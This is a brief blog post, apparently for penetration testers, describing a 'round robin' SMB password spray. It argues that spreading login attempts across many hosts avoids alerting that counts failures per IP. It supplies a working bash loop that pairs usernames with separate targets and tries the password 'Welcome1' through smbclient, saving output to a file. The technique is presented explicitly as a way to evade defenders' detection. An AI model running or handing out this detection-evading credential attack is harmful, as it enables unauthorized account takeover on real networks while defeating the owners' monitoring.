Tuesday, December 10, 2019

Round Robin SMB Auth

Password sprays are very noisy internally. If the target has any sort of alerting in place, they'll see the spray light up their dashboard like a christmas tree. However, often times the alerts are only set up to count failed logins from a single IP. Spread out the auth and you may skirt around their detections:

Instead of throwing your auth attempts at one IP, throw them at many:


for index in $(seq 1 ${how_deep_to_go}); do
    username=$(sed -n ${index}p ${username_file})
    target=$(sed -n ${index}p ${targets_file})
    echo "smbclient -U mydomainhere/${username}%Welcome1 -L //${target}"
    smbclient -U mydomainhere/${username}%Welcome1 -L //${target}
done | tee smb-round-robin.out

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